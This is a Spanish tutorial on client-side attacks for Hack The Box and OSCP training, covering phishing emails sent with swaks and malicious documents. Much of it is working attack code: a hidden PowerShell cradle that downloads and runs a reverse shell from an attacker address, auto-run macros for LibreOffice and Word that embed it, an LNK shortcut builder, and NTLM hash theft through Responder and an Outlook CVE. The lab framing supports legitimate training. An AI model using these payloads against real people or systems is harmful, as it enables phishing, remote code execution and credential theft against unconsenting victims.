Ataques client-side en HTB: macros, ficheros LNK y correos de phishing
Cómo conseguir una shell cuando alguien abre tu fichero: detectar a la víctima, enviar correos con swaks, macros de LibreOffice y Word, accesos directos LNK y robo de hashes NTLM.
Algunas máquinas no tienen un servicio vulnerable: tienen un usuario simulado que abre lo que le mandas. Un bot revisa el correo cada minuto, abre los documentos de una carpeta compartida o hace clic en los enlaces. Son los ataques client-side, que la OSCP incluye en su temario y que en Hack The Box aparecen sobre todo en máquinas Windows.
La clave es saber reconocer cuándo una máquina espera esto y probar en pasos pequeños: primero que alguien hace clic, después que se ejecuta algo, y solo al final la shell.
Cuándo sospechar
- Hay un SMTP abierto (puerto 25 o 587) y la web menciona correos (
envíanos tu CV,contacta con soporte). - Un formulario o una carpeta compartida pide documentos (informes, currículums, plantillas) y dice que alguien los revisará.
- Un correo o una nota de la máquina habla de "revisar adjuntos", "probar macros" o una versión concreta de Office o LibreOffice.
Requisitos
swakspara enviar correos:sudo apt install swaks.- LibreOffice en tu máquina para documentos
.odt/.ods; para macros de Word necesitas Office en una VM de Windows. nc,python3 -m http.servery Responder.- Una reverse shell de PowerShell. Los generadores de la web te la dan hecha: reverse shells.
- Para practicar: Reel, Hospital y Mailing.
Paso 1: encontrar a quién escribir
Saca nombres de la web (la página de equipo, los autores) y comprueba cuáles existen en el servidor de correo:
smtp-user-enum -M RCPT -U usuarios.txt -D megabank.com -t 10.10.10.77
10.10.10.77: [email protected] exists
Si RCPT no funciona, prueba -M VRFY o -M EXPN. Mira también los metadatos de los documentos públicos (exiftool *.docx): el campo Creator suele ser un usuario o un correo. En Reel el correo de la víctima sale así, de los metadatos de un documento del FTP.
Paso 2: comprobar que alguien hace clic
Antes de preparar un documento, manda un enlace a tu máquina y espera:
sudo python3 -m http.server 80
swaks --to [email protected] --from [email protected] --server 10.10.10.77 \
--header "Subject: Informe pendiente" --body "Revisa esto: http://10.10.14.5/informe"
10.10.10.77 - - [04/Nov/2026 10:21:03] "GET /informe HTTP/1.1" 404 -
Si llega una petición, hay alguien (un bot) leyendo. El User-Agent del log te dice qué programa abre los enlaces. Así se confirma la víctima en Outdated y en Reel2.
Paso 3: preparar la carga
Usa siempre el mismo payload: PowerShell que descarga y ejecuta tu reverse shell. Codifícalo en Base64 UTF-16LE para no pelearte con las comillas:
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/rev.ps1")' \
| iconv -t UTF-16LE | base64 -w0
El comando final es powershell -nop -w hidden -e <base64>. En rev.ps1 pon una reverse shell de PowerShell y deja nc -lvnp 443 escuchando.
Truco
Primero manda algo inofensivo que deje rastro, como ping -n 2 10.10.14.5 o una descarga de tu servidor (tcpdump -i tun0 icmp para ver el ping). Si llega, la macro se ejecuta y cualquier fallo posterior es del payload, no del documento. Es lo que se hace en RE.
Paso 4: macro en LibreOffice (.odt / .ods)
- Abre LibreOffice Writer y guarda un documento vacío como
informe.odt. - Herramientas > Macros > Editar macros. En el árbol, elige tu documento (no "Mis macros") y crea un módulo.
- Escribe la macro:
Sub Main
Shell("cmd.exe /c powershell -nop -w hidden -e <base64>")
End Sub
- Herramientas > Personalizar > Eventos, elige Abrir documento, pulsa Macro... y asigna
Main. En Guardar en, el documento. - Guarda y envíalo:
swaks --to [email protected] --from [email protected] --server 10.10.10.10 \
--header "Subject: Informe" --body "Adjunto el informe" --attach @informe.odt
Las máquinas RE y Rabbit se resuelven con macros de LibreOffice.
Paso 5: macro en Word (.doc / .docm)
En una VM con Office: Vista > Macros, elige el documento actual en Macros en y crea:
Sub AutoOpen()
Ejecutar
End Sub
Sub Document_Open()
Ejecutar
End Sub
Sub Ejecutar()
Dim c As String
c = "powershell -nop -w hidden -e "
c = c + "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBO"
c = c + "AGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4A"
CreateObject("Wscript.Shell").Run c
End Sub
Guarda como Documento de Word 97-2003 (.doc) o .docm; un .docx no guarda macros. VBA no acepta cadenas literales de más de 255 caracteres, por eso el Base64 va troceado en varias líneas c = c + "..." (un script de Python te lo trocea).
Paso 6: accesos directos LNK y otros ficheros
Si la víctima abre lo que dejas en una carpeta compartida, un acceso directo .lnk es más sencillo que un documento. Desde PowerShell en cualquier Windows:
$s = (New-Object -ComObject WScript.Shell).CreateShortcut("$PWD\informe.lnk")
$s.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$s.Arguments = "-nop -w hidden -e <base64>"
$s.IconLocation = "C:\Windows\System32\shell32.dll,70"
$s.Save()
Lo usan Mist y Ethereal. Otros formatos que aparecen en máquinas retiradas:
| Formato | Máquina | Idea |
|---|---|---|
| RTF con CVE-2017-0199 | Reel | El RTF descarga y ejecuta un .hta |
| EPS con CVE-2023-36664 | Hospital | Ghostscript ejecuta comandos al abrir el EPS |
| CHM | Sniper | Ayuda compilada de Windows con un comando dentro |
| XLL | Axlle | Complemento de Excel que es una DLL |
| Extensión de VS Code | Checkpoint | Un .vsix con una reverse shell de Node |
Paso 7: sin ejecución, roba el hash
Si no consigues que se ejecute nada, haz que el cliente se autentique contra ti. Con Responder escuchando (sudo responder -I tun0), un enlace a una ruta SMB tuya (\\10.10.14.5\x) hace que Windows envíe el hash NetNTLMv2 del usuario:
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash : maya::MAILING:1122334455667788:...
En Mailing Outlook es vulnerable al CVE-2024-21413 (Moniker Link): un enlace file:///\\10.10.14.5\x!algo en el correo salta la protección y entrega el hash de maya, que se crackea con hashcat (modo 5600). Los ficheros .url, .scf y .library-ms en carpetas compartidas consiguen lo mismo; el relay de esos hashes está en NTLM relay y coerción.
Errores típicos
- El correo se envía pero no pasa nada: el bot puede tardar uno o dos minutos. Si tras cinco no hay nada, revisa la dirección (el dominio exacto del correo) y prueba con el enlace del Paso 2.
swaksdaRelay access denied: el servidor no acepta correo para ese dominio desde fuera. Usa el dominio propio de la máquina en--too autentícate con--auth-user.- La macro no se ejecuta: no está asignada al evento de abrir o está guardada en "Mis macros" en vez de en el documento. Ábrelo tú mismo para comprobarlo.
- Llega el ping pero no la shell: Defender o AMSI bloquean el payload. Prueba otro, sin la palabra
Invoke-Expressionen claro, o mira evasión de EDR. - Llega la petición HTTP a
rev.ps1pero no la conexión: el script tiene un error o el puerto está bloqueado. Usa el 443 o el 80, que casi siempre salen.
Y después
Con la shell de la víctima, sigue con la checklist de post-explotación. Tienes más plantillas de documentos y comandos en la chuleta de phishing.